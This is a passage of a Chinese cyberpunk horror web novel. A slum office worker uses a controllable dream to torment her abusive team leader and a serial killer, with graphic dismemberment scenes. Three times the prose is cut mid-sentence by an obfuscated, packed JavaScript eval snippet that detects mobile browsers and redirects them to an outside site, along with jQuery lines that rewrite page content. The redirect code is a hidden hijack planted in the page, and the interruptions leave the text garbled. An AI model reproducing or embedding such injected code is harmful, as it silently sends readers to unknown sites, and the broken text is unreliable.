但是自从她得罪过的前辈当上组长之后,就会找各种理由克扣她的加班费。 与其无偿劳动,她宁愿在家躺着荒废时间。 尽管回味昨晚的美梦浪费了那么几十秒功夫,但叶溟依旧精准卡在最早的那班空轨还没发车之前就出了家门。 不过让她感到意外的是,她一开门就看到施医生就站在自家门口下面那段阶梯上,正用错愕的目光看着她。 叶溟迟疑着打了个招呼:“施医生,早上好?” “早上好。”其实施医生看起来不太好,两只眼眶都挂着大大的黑眼圈,看来昨晚似乎没怎么休息。 两人沉默地对视了几秒。 叶溟不明白施医生在等什么,反正她在等施医生让开一条足够让她下楼的路——这楼梯实在该死的狭窄。 就在叶溟已经逐渐感受到想要脚趾抠地的尴尬,并且准备直接开口请对方让路的时候,施琴终于说话了。 “我本来以为你已经死了。”并且一开口就是重量级问候。 如果是寻常人听到这句话,可能会觉得自己被诅咒了而暴跳如雷,不过叶溟倒是没什么感觉,最多就是有点恍然大悟—— 难怪一大清早就蹲守在她家门口,原来真惦记着捡尸啊。 抱一丝啊施医生,今天得无功而返了。 虽然心里是这么想的,但是叶溟也觉得这句话有点太地狱了,没有说出口。 大概后知后觉自己蹲别人门口等捡尸现在人活了还有点遗憾的行为有点拟人,施琴又补了一句:“很高兴看到你没事,希望你的好运能一直持续下去。” 骗你的,其实心里遗憾死了。 毕竟身上装载了自动探测仪的施琴第1次跟这位楼下邻居见面的时候就发现了,她是这个时代非常罕见的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482685|201840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 零改造原生人。 就算是在贫民窟也是非常罕见的原生肉/体,不管是拆开来卖还是整个卖给实验室,都别提有多值钱了。 可惜…… 她摇了摇头,尽力控制住自己不要露出过于惋惜的神色,绕过叶溟径直上楼了。 只留下叶溟站在原地静默两秒,总感觉心里怪怪的。 不过她很快就没工夫想这种事了。 因为她突然意识到自己已经在这里耽搁了近十分钟了,再不快点的话,就要赶不上第1趟空轨了! ——尽管叶溟在接下来的时间里一路狂奔,但遗憾的是,她到底还是没能赶上空轨。 等她拖着自己亚健康的身体,气喘吁吁地来到工作间的时候,其他同事基本上都打完卡,在自己的工位上聚精会神地办公了。 现在是联邦标准时间8:25,根据帕林科技的规定,像她们这种最低等的数据流水车间上班打卡的时间为8:30,照理说现在是完全来得及的。 但是叶溟看到打卡机旁边得意洋洋的青年男子的时候,心却一下子沉了下去。 他叫高俊杰,长相跟名字几乎没什么关系,整个人看起来就像一头即将出栏的猪。 虽然他也在这个工作间进行流水作业,但同人不同命,他的父母是帕林科技的中层领导,很快就把这个不成器的儿子捞成了小组长。 这家伙不仅工作效率低到发指,经常将自己的任务量分摊给别人做,而且还在半年前跟叶溟发生了一点小摩擦—— 叶溟当时还不知道这太子爷是来基层镀金的,当时莫名其妙被他甩了一堆不属于自己的工作,就理所当然地甩回去了。 结果她就被这个小心眼的家伙记恨上了。 于三个月前正式上任的高俊杰组长毫不掩饰自己对叶溟的“特殊关照”。 他不仅力求在每一次工作的时候以失误为由克扣她的基础工资,取消了她的加班费,甚至在打听到叶溟家住贫民窟通勤时间很长之后,蛮不讲理地下令将打卡时间提前至8:20—— 之所以不提前得太早,一来是担心会被忍无可忍的通辽举报,二来就是享受叶溟不得不赶那几分钟的第一班空轨的窘迫。 不过叶溟一直小心谨慎,几乎没被他逮到什么错处。 很可惜,今天她耽误了那么几分钟。 好不容易逮到叶溟一次的高组长摆足了扯高气昂的架势,将她从头到尾臭骂了一顿,还理直气壮地扣光了她今天的基础工资。 虽然今天相当于提前预定一天白干了,但是叶溟显然不能就这样回家,还是得在工位上坐下来,认真完成今天分配的任务量。 整整一天,她浑身都笼罩着一层淡淡的死意。 正事不干,一直在工作间来回巡视的高俊杰,今天特意好几次都路过了叶溟的工位,时不时就借早上“迟到”的事骂她两句或者嘲讽一下。 叶溟一声不吭,任他搓扁捏圆,心里却涌上了阴霾。 ……要是今天晚上能梦到这头死肥猪就好了。 她一定会好好“招待”他的。 5. 第5只社畜 【欢迎回来,审判者。】 深夜,白天憋了一肚子火的叶溟在熟悉的梦中睁开了眼睛。 她仿佛还残留着昨晚在梦中掌控一切的肌肉记忆,很快就已经熟练上手上帝视角了。 今天晚上在梦里做的第1件事,找到高俊杰那头死肥猪! 然而叶溟尝试了一会儿,却不得不沮丧地放弃。 她昨晚光顾着玩儿呢,直到今天才发现她能够感知操纵的范围就局限在自家附近这一块。 高俊杰家境殷实,当然不可能住在贫民窟,她想找到对方纯属痴人说梦。 ……不对啊,她现在不就是在做梦吗?现实中拿那头死肥猪没办法也就算了,凭什么她在梦里也拿他没办法? 叶溟越想越气,梦中的一切都开始随着她的心意扭曲变形,就像橡皮泥一样随意地搓扁捏圆。 她的耳边隐约传来几声路人的尖叫,似乎被眼前这比地狱还荒谬的一幕吓到了,但她毫不在乎。 谁会关注npc的感受呢? 无能狂怒了一会儿之后,叶溟渐渐开始感到无聊。 就在她思索今天晚上难道就只能在这发呆的时候,耳边突然响起了一道带着机械感的男声。 【您可以通过感知昨晚已进行深度标记的目标,暂时摆脱距离限制。】 叶溟立刻反应过来,它说的是自己可以感知昨晚愚弄过的庞勇,就算庞勇现在不处于他的感知范围之内,也可以暂时突破限制。 这确实是个好消息,让她勉强打起了一点精神。 但与此同时,她突然意识到,这个突然冒出来的玩意就是昨天晚上给自己播报当着结算的声音。 她先是仔细感知了一番周围,确定至少自己可感知的范围之内找不到这道声音的本体,这才不紧不慢道:“昨天晚上你怎么不出来给我做解释和引导?” 本以为她会第一时间问他是谁,没想到她竟然第一时间指责它昨晚没第一时间尽到引导责任的声音:“……” “……我是在您昨晚获得恐惧值之后才苏醒的。” 因为不符合提前预设好的流程,它稍微卡了一下,但最终还是以自己的宿主审判者大人的需求为先。 “您可以称呼我为02。非常感谢您将我唤醒,审判者大人。” 按照02的预想,接下来叶溟就算再怎么心大。也该询问它是怎么回事,所谓的“审判者”又是怎么一回事了。 然后它就可以顺势走晚了一天的流程,满怀歉意地告诉她暂时没有权限进行解答,然后再说目前可以说的那部分信息—— 比如辅佐她更快上手如何进行“审判”,积攒更多的恐惧值,早日解锁更多功能。 然而叶溟却没有继续问下去的意思,点了点头,接受了它的解释和感谢,然后就开始专心致志地寻找昨晚让她玩得很愉快的杀人魔先生了。 从苏醒并运转程序开始就发现审判者大人一直不按套路走的02:“……” 开玩笑,叶溟压根就没在意过02的存在。 代入一下游戏,这家伙不就是游戏中常见的引导系统吗?有什么好大惊小怪的。 虽然在梦里还需要造出个系统来引导自己有点奇怪……也许那玩意代表的是她的潜意识呢? 跟梦较真你就输了,叶溟懒得多想逻辑上的问题,只想抓紧时间找今日份的乐子。 02作为一个引导系统还算合格,至少她认真感应了几秒之后,眼前居然真的渐渐浮现出一张惊恐的男人面孔。 他正在一间屋子里焦虑地走来走去,面前隐约可见一张巨大的全展开式光屏,似乎正在通过光脑跟谁打视频。 果然是你啊。 叶溟忍住快要溢出喉咙的笑声,饶有兴致地注视着庞勇脸上混合着惊恐和烦躁的表情,漫不经心地思索今天该用他来找怎样的乐子。 “……尊敬的考官先生,我可以向您发誓,那个叫叶溟的女人真的很不对劲!我向您汇报的昨天晚上发生的事情全都是真的!” “冷静点,庞勇,瞧瞧你都被吓成什么样了?不过叶溟那家伙虽然整天板着个死人脸,但只不过是个普通的贫民窟蝼蚁罢了。也许你昨天晚上梦游了呢?也许有问题的是那栋楼呢?” 漫不经心的男声从光屏里模糊的人影口中传来,却让叶溟一下子瞪大了眼睛,将目光从庞勇转移到了那道模糊的高壮人影身上。 “不可能!我先前在那栋楼附近踩过好几次点了,从来没出现过昨天晚上那样可怕的事情!” “那就是你梦游了,或者片叶子吸多了——非要我说得这么明白吗?” 男人的声音逐渐带上了高高在上的不耐烦:“没用的蠢货,连个没经过任何改造的原生人都干不掉,还找这么离谱的借口——就你这样的也想加入杀戮俱乐部?” 如果说之前叶溟还不敢确定,那么现在,这幅跟骂自己的时候几乎一模一样的口吻基本可以让她笃定了—— 正在跟庞勇打视频的这家伙果然就是她的上司,高俊杰! 一个已经犯下三起凶杀案的连环杀人魔,居然称呼勉强算是个公司体面人的高组长为“考官先生”? 叶溟从来不知道自己的潜意识居然这么能想,毕竟不管怎么看,两者都应该毫无关联,或者说后者是前者这辈子都很难扯上关系的人物。 居然还编出了一个“杀戮俱乐部”来把两人强行关联上……话说这个俱乐部的名字还真是非常直白地展露了它的功能啊。 所以这算什么?杀人魔加入组织的考核? 高俊杰既然作为连环杀手的上位考核官,肯定也是个杀人狂吧? 叶溟稍微思索了几秒,很快就暂时抛到一边去了。 比起深究自己在梦里杜撰出来的一个奇奇怪怪的组织,她更想知道—— 借助庞勇作为联系的中转站,她能不能整到高俊杰呢? 叶溟透过庞勇这边模糊的视频形象,开始努力尝试改变高俊杰那边的环境。 也不知道是不是她想要顺着网线去打上司的心情过于强烈,努力了两分钟之后,她模模糊糊感觉自己跟高俊杰那边似乎建立了一丝联系。 虽然隔空操纵那边的环境没有直接在她的领地范围之内进行操纵那么顺手,但叶溟依旧磕磕绊绊地“看”见了高俊杰那边的情况。 不愧是小资家庭,跟庞勇这边较为简朴的普通智能样板房不同,高俊杰家里的各种装横看起来就非常高级。 有些智能家具,叶溟甚至连名字都说不上来—— 毕竟对她来说,庞勇的家尽管只是摩拉外城区的一个普通小区,但是已经比贫民窟好上不知道多少倍了,至少不会让生活在这个世界的人怀疑自己穿越到了上百年前。 而高俊杰的家则在摩拉内城区的某个高档小区,距离帕林科技所在的园区有城内空轨直达,甚至只需要坐两站。 可以毫不夸张地说,即使是在家里破产之前,叶溟也从来没有想象过高俊杰过的是怎样的日子。 好不容易有一个观摩的机会,她大大方方地欣赏了一会儿,甚至还认真考虑过要不要就地取材。 但由于高俊杰家里有很多设施她都不太了解,未免闹出尴尬的笑话,她最终还是决定将献给上司的审判副本设置在她最熟悉的公司里。 ——没错,审判副本。 经过整整一天的深思熟虑,叶溟觉得,在这个完全由自己操控的梦境里搭建像昨晚那样粗糙的场景,未免有些暴殄天物。 在梦里构筑任何东西都是如此的方便快捷随心所欲,那她为什么不学着自己以前最爱玩的游戏,构筑一个个精心设计的副本呢? ——庞勇是在高俊杰对他进行滔滔不绝的输出的时候察觉到异常的。 他不敢得罪自己入会的考官,更别提对方还是公司的人,只能面上装得一副谦卑相乖乖挨骂,实则在心里暗骂公司狗吠得挺凶。 见高俊杰总算停下来喘口气了,他还惦记着之前希望更改目标的事,还是想再努力一把。 根据杀戮俱乐部的规则,新入会的成员需要在考核官前辈的注视下,独立完成对四名目标的“狩猎”,并保证自己一直把治安局耍得团团转,才有资格真正加入俱乐部。 为了避免新人选定目标后因为踢到了铁板就放弃并再找更容易得手的新目标,新人对考核官提交自己要杀的四名目标之后,如无意外不得更改。 其实庞勇算是走了捷径。他前面杀掉的三名少年都是相对好下手的学生,严格意义上来说是不应该被列为考核任务的目标的。 但是他买通了考核官高俊杰—— 报酬是将第四个目标列为“叶溟”,并且拍下她死前最狼狈崩溃的姿态发给高俊杰。 庞勇大概猜到他的考核官应该是跟叶溟有仇,想让他狠狠折磨她一顿再杀掉,所以他为了给人留个好印象,特意学习了不少折磨人的手段。 但他昨晚被反向折磨了一宿后,哪怕只是看一眼自己偷拍的叶溟照片都会莫名哆嗦。 他坚信邪门的就是叶溟,现在是万万不敢再去找她了。 看高俊杰坚决的态度是不可能答应换目标了,他犹豫着要不要主动提出退出考核,却又担心会遭到杀戮俱乐部的“清除”—— 当初他一个小人物居然被神秘莫测还能量巨大的俱乐部主动勾搭的时候,他差点怀疑自己在做梦或者被做局了,心里本来就不太踏实。 庞勇心事重重地抬起头,却被高俊杰那边的情况吓结巴了。 “高、高先生,您身后是……” “嗯?”高俊杰端起杯子喝了口茶,几乎已经对眼前这个一惊一乍的家伙感到厌烦了。 他当初为什么会选中这玩意?把他的名字报上去简直就是在拉低他的格调。 真可恶,为什么其他人走在路边都能捡到天才,他却连一个有资质的都找不到呢?难道这一届他这边提报的选手名单要挂零了吗? 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诡异的情况让高俊杰的大脑乱作一团,几乎难以进行正常的思考。 眼前的场景跟自己平日里上班的工作间一模一样,让他难以怀疑其真实性。 但是突然来到这里的诡异过程却令他无法用平常心来对待这场突如其来的加班。 而且……虽然他本人从来没有加过班,但多少知道普通员工在公司里有多忙碌。 据他那位混到人事部副经理的父亲所言,每天光是缴纳加班费的人数就占了公司员工总数的十分之一。 换句话说,就算是在深夜23点,公司也该灯火通明,随处可见给自己猛灌提神饮料的员工。 但是现在,刺目的白色灯光照射下,整个办公间都空荡荡的,看不到一个人…… 滋啦。 高俊杰瞪大了眼睛。 刺目的白光渐渐暗淡下来,几乎是一眨眼的功夫,将近一半的工位上都坐了人。 他甚至能看到有看不清脸的员工在阴影中快速且无声地移动着,似乎在忙着汇报工作。 但问题是,这些人都是从哪冒出来的? 明明刚才这里除了自己还空无一人! 6. 第6只社畜 高俊杰这边陷入一片混乱的时候,另一边,庞勇其实有点迷茫。 在他的视角,就在刚才打视频的时候,他的考核官背后突然出现了一片阴影,闪了一下,然后整个人就……消失了?! 庞勇浑身上下除了左臂义体之外的汗毛都要竖起来了。 他这辈子都没见过这么邪门的事情……不对,类似的事情,他好像昨天晚上才刚见识过。 很难找出一个确切的词汇来形容昨晚的遭遇,事实上庞勇也不太想形容,于是他只能在心里偷偷用“那个”来代指。 高俊杰突然消失了,是也遭遇了“那个”吗? 昨天晚上,他在楼道里疯狂鬼打墙的时候,假如刚好有一个外人在围观的话,在外人看来难道也是这样突然消失的吗? 庞勇脑壳都想疼了也想不出答案。 他有点想报警,但是转念一想,自己一个被通缉的连环杀手主动投案多少有点地狱了。 而且,他该怎么对那帮鼻孔看人的治安官解释,一个大活人在跟他打视频的时候突然凭空蒸发了? 高俊杰跟他地位悬殊,在明面上的社会关系层面,很难解释两人为什么这么晚还在打视频,到时候可别把他当害高俊杰失踪的嫌疑人抓捕归案了。 庞勇在别的方面脑子可能不太行,但是在趋利避害方面还是很会算的。 一番综合考虑之后,他最终决定假装自己不知道高俊杰失踪了,悄悄挂断了视频,删除了记录。 而且他的心中其实有一种扭曲的快意。 之前在他面前高傲到不行的公司狗,如果真能遭遇他昨晚遇到的事情的话,那简直就是大快人心。 他不是不相信他说的话吗?不是狠狠嘲笑他吸多了在说梦话吗?那就自己亲自好好体验一番吧! 叶溟虽然大半的注意力都在刚投入试运行小副本的高俊杰身上,但她现在的状态非常特殊,没有形体的视线能够同时注视很多地方。 所以她自然注意到庞勇坐在自己家里,脸色变幻莫测,最后定格成了扭曲的兴奋的样子。 看到庞勇这么高兴,她心里有些不爽—— 她可没忘记这家伙也不是什么好东西,手上沾了好几条人命,而且之前还盯上了她。 太大意了,她光顾着整上司忘记整他了是吧? 叶溟在虚空中打了个响指,刚才还暗自庆幸只有高俊杰倒霉的庞勇顿时感觉眼前一黑。 等恢复视线的时候,映入眼帘的是灰扑扑的水泥平台,窗户漏风的楼道,以及挂着201和202门牌的两扇对门。 庞勇眼前一黑,差点当场爆头发出惨叫。 他竟然又回到了噩梦开始的地方! “怎、怎么会……” 庞勇后退两步,背已经抵上了冰冷的泥灰墙面,那过于真实的触感,让他无法哄骗自己只是在做梦。 可是这怎么可能?他明明上一秒还坐在家里,怎么会突然又回到这个可怕的地方了?! 等一下,这不是跟高俊杰的遭遇很像吗?和自己打视频的那家伙也是突然之间就不见了…… 庞勇捂住脑袋,发出了尖锐的惨叫。 他发疯似地拧自己右边有知觉的胳膊,寄望于像以往无知无觉间做梦时那样,发现自己感觉不到痛感。 但是真实无比的剧痛却浇灭了他的最后一点侥幸。 这不是噩梦,而是现实。 尽管他这次没有主动去那栋诡异的居民楼,但是对方却缠上他了! “呼哧,呼哧……” 庞勇难以接受现实,但是等他跑上跑下跑了好几层楼,最后还是回到了2楼之后,他就认命了。 他吃力地回想自己上次是怎么离开这个可怕的地方,回到他所熟悉的家中的。 好像是201的门突然自动打开了,他进去,然后…… 回想起自己在里面看到的诡异的场景,那满墙伸长了脖子看向他的受害者相片,庞勇面色铁青,十分抗拒再进去一趟。 但是一直干坐在这里也不是办法。 他犹豫片刻咬了咬牙,最后站在了大门紧闭的202面前。 他左手轻轻一挥,藏在义体中的小型粒子切割刀弹了出来,如同切豆腐块一样轻轻松松地将门破开了。 斑驳的防盗门被切成了好几块,散落一地,激起一层灰。 庞勇掩住口鼻,只露出一双眼睛警惕地望着门内,生怕里面冒出什么诡异的东西。 不过这间屋子的布局不如201通透,进门之后先是一个放置鞋柜的小玄关,要转一下弯才能看到客厅的景象。 他犹豫了一下,见自己发出这么大的动静里面都没有声响,觉得应该没有什么危险,最终还是迟疑着走了进去。 见庞勇一边探头探脑一边踏入门槛,注视着这一切的叶溟笑了。 这是一种很典型的思维误区。总有人觉得在对手比自己更强大莫测的前提下,如果自己主动卖破绽对方都不出招,那对方肯定暂时不打算出手了。 但其实,对方可能只是静静地蛰伏在暗处,等待自以为安全的猎物完全把自己暴露出来的那一刻—— “!”庞勇看到客厅的景象之后,面色一变。 202的客厅虽然不像对门的201一样挂满了受害者的相片,但看起来却更为诡异。 整个客厅都像是掉色了一样,被强行刷成的一片惨白。 唯一的颜色大概就是被供在客厅正中央的一张木质供桌,上面点着的两根电子红蜡烛,还有并排放着的三副黑白遗照。 三名死在最灿烂的年纪的少年于红烛映照下露出僵硬的笑容。 “……”庞勇二话不说,扭头就想跑。 但是从身后忽然传来了一股极大的力道,几乎是揪着他的后领,将他丢到了供台前,还压着他强行跪了下去。 “放开我!”庞勇拼命挣扎。 然而,在这股极其恐怖的力道压制之下,他的挣扎无力得就像孩子一样—— 就像在放学路上被他偷偷尾随,轻松压制,并且大卸八块的那三个未成年的孩子一样。 庞勇的脑海中好像闪过了什么很关键的东西,但是他没有抓住。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482687|201840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>在极度的惊恐之后,涌现的是巨大的愤怒—— “该死!你们这几个可恶的小鬼,死了之后还要在这里装神弄鬼,以为我会怕你们吗?!” 嘴里嚷嚷着一些不干不净的话,但是庞勇其实已经在极度的惊恐之下,有些失去理智了。 他拼命挣扎,想要反抗压着自己跪下的巨大力道。 开什么玩笑,人会给被自己杀死的牲畜下跪吗? 他嘴里发出沉重的喘息,恶狠狠地瞪着在供台上对他露出冰冷微笑的三名少年,心中的恶意不断翻滚。 别开玩笑了,这种只能被他肆意践踏的猎物……凭什么像高俊杰那些人一样高高在上地对着他啊?! 压制着他的力道有一瞬间放松了。 他不知道哪来的力气,竟然挣扎着起身,用肩膀狠狠一撞,将整个供台都打翻了! 伴随着一阵乒乒乓乓的声音,三个黑白相框砸了下来,摔得四分五裂。 庞勇一边喘着粗气,一边恶狠狠地瞪着一地的狼藉。 他忍不住咧嘴,发出嗬嗬的笑声。 果然,活着的时候就只配被他像杀牲畜一样宰杀的家伙,死了之后又能翻出多大的…… “错了哦。” 一道带着些许戏谑的声音,贴着他的耳畔轻轻响起。 庞勇还没来得及反应这句话到底是什么意思,就突然感觉自己的右臂处传来撕裂的剧痛。 “啊啊啊啊——” 在凄厉的惨叫声里,他的胳膊被无形的巨力硬生生扯下来了。 随后,不给他一丝喘息的功夫,他的两条腿也被如法炮制了。 最后,是安装义体的左臂。 感受着人工神经链接被一条条扯断的痛楚,庞勇甚至连惨叫声都发不出来了,只能从喉咙里发出如破风箱般的“嗬嗬”。 现在,他就像自己此前的每一个受害人那样,被卸掉了四肢,只余光秃秃的身体躺倒在血泊中,如同传说中的人彘。 ……但是,不同于在他手底下撑不过半分钟就已经死去的受害者,处理他的那家伙显然经验丰富,以至于他都到了这个地步竟然还没有死。 他甚至没有失去意识,只能眼睁睁看着自己这副如同地狱绘图般的模样,反复在心里发出惨叫。 叶溟是除了他之外,唯一一个能欣赏到这幅画面的人。 如果是白天清醒的时候,她一定会对这幅画面感到恶心—— 无关乎对方到底是杀人犯还是无辜受害者,只是纯粹出于人类对同类遭到残害的物伤其类的心态。 但是现在,叶溟感觉很好。 大概是因为人在梦里的时候,就算做的是清醒梦,大脑也会自动打上一层零真实感的禁制吧。 她甚至还有心情哼着不着调的曲调——那是她最喜欢的一款恐怖游戏《禁忌回廊》的插曲。 虽然是只有在玩家打出BadEnd的时候才会专门播放的配乐,却非常恶趣味地叫《正义审判》呢。 “做错选择了哦。恭喜玩家庞勇打出BadEnd:跟我们一起四分五裂吧!” 7. 第7只社畜 “不过话又说回来,他触发BE的速度是不是太快了点?这不是一点游戏的可玩性都没有吗?” 庞勇实在是BE得太快了,最开始的新鲜感过去之后,叶溟逐渐产生了一种微妙的不满。 和高俊杰那边的“加班夜惊魂”一样,投放庞勇的“祭奠之屋”也同样是她精心构思设计的副本。 虽然比起她曾经玩过的那些文本量动辄10万起步的精品恐怖游戏,目前的这两个小副本都略显粗糙。 但她在无法插入真正意义上的可交互npc的基础上,已经尽最大的努力精心设计每一处提示,每一个jumpscare……以及每一条通往不同结局的路线了。 身为游戏副本的设计者,如果自己亲自下场玩就没有任何意义了。 所以叶溟还挺期待自己目前仅有的两名测试玩家,能够尽可能多地触发副本机制,上演让她满意的戏剧,同时以便她进行后续修改完善的。 然而,庞勇显然不是一个合格的测试员,很快就给自己打出gg了。 而且他犯的还是一个非常低级的错误,轻而易举就激怒了副本中的“恶灵”,落得了一个活该的下场。 ……这家伙也太不会打游戏了吧? 不对,他的脑子根本就不正常吧?正常人谁会在那么诡异的情况下还故意打翻供台啊? 叶溟作为一个正常人难以理解杀人魔的想法。 尽管庞勇现在已经变成一滩和几坨了,但叶溟能感觉到他还活着—— 废话,这里是她的梦境,只要她愿意,等自己下次做梦的时候就能把这些工具人的状态一键刷新了。 为了让庞勇在探索副本方面能够多起到点作用,叶溟暗自思索下次要不要完善一下游戏的引导机制,多给他点提示。 就在这时,她听到了02一如既往冰冷死板的播报声。 【恐惧值+800,已达单人单日上限。】 叶溟:“……如果我没记错的话,昨天的单人单日恐惧值上限不是500吗?” 虽然梦境是不讲逻辑的,但这也变化太快了吧? 叶溟感觉自己的眼皮正在疯狂跳动。她很受不了这种混乱无序的机制。 好在02给出了一个合理的解释。 【审判目标庞勇在濒死之际刷爆了个体恐惧值上限。】 简单来说就是害怕得快要原地爆炸了,这辈子没这么怕过。 闻言,叶溟若有所思,愉快地决定下次继续,还是别放水了。 杀人魔还要什么人权?给她多死几次多榨点恐惧值吧。 庞勇这边已经被榨干了今日的价值,叶溟对只能在地上呻吟咕蛹的一滩烂泥没有任何兴趣,冷漠无情地将视线投向了另一边—— 加班夜惊魂。 虽然都是临时搭起来的简单副本,但叶溟在设计这边的时候明显上心多了。 每一处场景都基本上1:1还原她记忆中的公司,保证让专业美工来抠图都抠不出什么问题。 不过对于正在被迫测试副本的高俊杰来说,这就不是什么好事了。 正是因为这里跟真实的公司几乎一模一样,所以当出现一些虚假的诡异场景时,就会显得分外真实,代入感都要刷爆了。 比如现在,熟悉的工位上坐着的却并非他手底下了如指掌的那帮组员,而是黑压压一片看不清脸的鬼东西…… 那一瞬间,高俊杰感觉自己的心率都要飙到120触发健康监测警报了。 他头皮一阵发麻,连自己原本想干什么都忘了,只是呆愣愣地站在原地。 两秒之后,他拔腿就跑,目标直指办公间唯一一扇通往外界的全透明大门。 还加什么班?这么诡异的情况他是眼瞎了才会继续留下来吗?他凭什么照那道声音说的去做?他现在就要赶紧跑路! 叶溟没料到自己手中仅剩的宝贵实验……体验者,居然又想速通BE了,眼皮一跳,急忙伸手制止了他。 当然,由于她现在是没有形体的状态,所以高俊杰很快就感受到了跟刚才的庞勇一样诡异的情况—— 浑身都被一股无形的巨力压制住,不管怎么跑都无法挪动一步。 他脸上的表情再也绷不住了,五官因为惊恐而变得狰狞。 就在这时,几乎照不到一丝光线的阴影里,有一道模糊的黑影正在逐渐靠近他。 那是刚才光线变暗之后出现的非固定工位游走型古怪人影之一,看起来行色匆匆,似乎急着汇报工作—— “快去打卡。” 一道阴森森的声音在人影跟自己擦肩而过的那一瞬间响起。 与此同时,高俊杰只感觉人影跟自己擦肩而过的那半边肩膀仿佛被极其冰冷的东西黏住了一样,瞬间冻僵了。 “啊!” 他忍不住发出一声短促的惨叫,另一只手哆哆嗦嗦地摸向肩膀,然后被冻到手指都开始发麻了。 被人影触碰过的肩膀好像变成了一块巨大的冰块,不仅没有知觉,还向外散发着阵阵寒意。 “快去打卡。” 仿佛是要雪上加霜,原本一直坐在工位上安静工作的员工们抬起了头,整整齐齐地看向了他,数道完全不同的声音却说出了一句无比整齐的话。 不过,虽然他们抬起了头,但是五官却依旧像是笼罩在阴影中,根本无法看清。 高俊杰狠狠打了个寒颤,刚才被寒气动过的脑子似乎清醒了些。 他的大脑正在飞速运转,终于勉强找到了能够整合目前状况的那条线—— 在他莫名其妙来到公司之前,贴着他耳朵的那道声音说过要遵守公司规章制度,明明刚出现的时候并没有对他做出任何反应,但是现在却突然变得危险起来的这些人影…… “我、我知道了,我现在就去打卡!” 高俊杰再也看不出之前扯高气昂的模样了,连声音都有些颤抖。 他拖着半边没有知觉的肩膀,暗自庆幸自己腿还是完好的,小心翼翼地绕开了所有四处游走的人影,终于艰难地抵达了打卡机前。 如今的光脑早就兼具生活一体化功能了,无需特质的员工卡,他只需要将戴在手腕上的光脑伸过去嘀一声,就可以完成身份证认证打卡和缴费。 这没什么。反正就算同时缴纳加班费和过夜费,也顶多就扣上100联邦币,相比之下,能捡回一条小命才是最划算的—— 【已完成加班费与过夜费的缴纳,您的账户余额已扣除1000000联邦币。】 刚才还在庆幸的高俊杰:“?” 他的账户刚才扣除了多少钱? 他一个月的工资也才5000联邦币啊! 虽然只是在做梦,但看到高俊杰一副钱包被放血割肉的凄惨模样,叶溟还是身心愉悦。 她阴暗地想,敢扣她工资的人就该自己尝尝这种滋味。 她觉得自己还是扣少了,要不是担心数额再大的话高俊杰的账户可能会因为扣不起而扣款失败或者让他觉察到不真实感,她真想扣个100万。 而且对比隔壁已经变成好几块的庞勇,她真心觉得高俊杰现在的待遇已经很好了,简直堪比拿了员工内部折扣。 之所以能够玩成这样,只能说他真的一点都不会玩。 加班夜惊魂的机制其实非常简单,重要的“通关”线索早在一开始就已经借开场cg之口告诉玩家了—— 只要严格遵守公司的规章制度,并且撑过三轮经理视察,那么理论上玩家就能无伤通关。 之所以说是“理论上”……叶溟发誓真的不是自己故意搞针对,而是考虑到这个环境确实不怎么适合安心办公。 不仅工位上坐满了无面恐怖气氛组,那些在阴影中游走的npc更是充当了一个路障的作用。 没错,这些家伙可不是无害的背景板,而是游戏中常见的debuff路障,就是那种玩家必须避开,一旦撞上就会强制减血条的可移动障碍物。 叶溟自己玩游戏的时候对这种机制有多烦,现在设置给上司玩的时候就有多兴奋。 不过很遗憾,被人影正面撞上吃了一次亏之后,高俊杰就算是个傻子都该知道要避着它们走了。 不过叶溟身为幕后策划,倒是一点都不担心高俊杰就这么顺顺当当通关了。 因为她根本就不相信身为本组最强关系户的高组长,真能老老实实记住公司所有为难底层员工的的规章制度,并且顺利完成本职工作。 而事实证明,高俊杰的状况比叶溟预想的还要更加糟糕。 之前被人影撞的那一下,对他的影响极为严重。他的半边肩膀持续感受到深入骨髓的寒意。 最开始像是被冻到没有知觉了,严重影响他的行走,现在过了一会儿,情况非但没有缓解,反而还开始发痒。 最开始高俊杰还为自己终于有了感觉而感到庆幸,在他看来,有感觉总比麻木要强。 但事实证明他实在是太天真了。 很快,整条胳膊因为遭到严重冻伤,竟然产生了一种像是泡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482688|201840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在100度烫开水中那样的痛感。 高俊杰面色铁青,又逐渐变得惨白。 他这辈子都没经历过这样可怕的疼痛,因此忍耐力相当差,仅仅只是疼了几分钟,他就已经感觉眼前视线都有些模糊了。 为了保护自己的身体,哪怕明知道现在的义体改造手术已经相当发达了,他依旧只维持了最低的义体改造率。 加入杀戮俱乐部之后,他杀人时用得更多的是外接辅助义体…… 扯远了。 总之,当他满头大汗地一点点小心避开所有巡逻障碍物,跌跌撞撞一屁股坐到工位上的时候,他已经痛得快要昏厥过去了。 